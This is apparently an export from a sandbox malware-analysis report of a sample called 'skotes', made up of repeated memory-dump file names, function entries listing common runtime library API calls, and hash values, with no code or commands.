Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: ir
API String ID: 1182035702-4252945031
Opcode ID: fe1ff7cf246da680dc02a9431f308c1fcc9838dc3ee82d47cb0b15e361caf5f7
Instruction ID: 9c6a3302b2bdc02269e9096e29c3e145b813b65a72262908dd001eaec3a27e99
Opcode Fuzzy Hash: fe1ff7cf246da680dc02a9431f308c1fcc9838dc3ee82d47cb0b15e361caf5f7
Instruction Fuzzy Hash: 58218370C10269CADF74DFA4E9596EEB7F0FF14320F200A2DE051A61D1E7B95A44CB50

Function 007378E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00737903

Part of subcall function 00735CB8: __EH_prolog3_catch.LIBCMT ref: 00735CBF
Part of subcall function 00735CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00735CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0073792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00737936

Part of subcall function 00735CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00735D70
Part of subcall function 00735CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00735D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00737982
Concurrency::location::_Assign.LIBCMT ref: 007379A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 007379AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007379BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 007379ED

Part of subcall function 0073691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00736942
Part of subcall function 0073691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00736965

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 9bd6b500e40a3b2daf07791573ac79e52eb58bf523369eed1cf1f99219b20e4d
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 783127B0B08265AEEF2EAB7844967FE77B59F41300F0442A9D485EB243DB2D6D49C3D1

Function 00754C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00754C98
__alloca_probe_16.LIBCMT ref: 00754D5E
__freea.LIBCMT ref: 00754DCA

Part of subcall function 0074B04B: RtlAllocateHeap.NTDLL(00000000,3936CCF5,?,?,0072D3FC,3936CCF5,?,00727A8B,?,?,?,?,?,?,00717465,?), ref: 0074B07E

__freea.LIBCMT ref: 00754DD3
__freea.LIBCMT ref: 00754DF6

Strings

Zt,mt, xrefs: 00754C26

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Zt,mt
API String ID: 1423051803-97952540
Opcode ID: ad769f27a5f1827e91df704158aac5b18a5d7150d5d49476a386d24c839e145b
Instruction ID: 244b52c0075d749fe34bc1d7774a8b43ad0f42e0afc4c6def4788bd62d63a0a4
Opcode Fuzzy Hash: ad769f27a5f1827e91df704158aac5b18a5d7150d5d49476a386d24c839e145b
Instruction Fuzzy Hash: 5E51E372600216AFEF259F64DC45EFB37B9EF8075AF250129FE0497140EBB8DC9486A0

Function 0073DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0073DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0073DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0073DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0073DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0073DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0073DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0073DE74

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 01c3cf78cb02d34b86189a03d2cc366445edcc1547ff9b40de43dc0ca630d32d
Instruction ID: 535d2787fc70588b02882dd141446fc1b4ece436c1dc3aebfc841ffcf26b92e1
Opcode Fuzzy Hash: 01c3cf78cb02d34b86189a03d2cc366445edcc1547ff9b40de43dc0ca630d32d
Instruction Fuzzy Hash: D441CF70A14254DAFF25EFA0A4597FD7BA16F50304F1440A9E9826F2C3CB7C8E08CB62

Function 0073E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0073E7D7

Part of subcall function 0073E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0073E577
Part of subcall function 0073E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0073E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0073E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0073E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0073E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0073E879
Concurrency::location::_Assign.LIBCMT ref: 0073E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0073E8B5

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
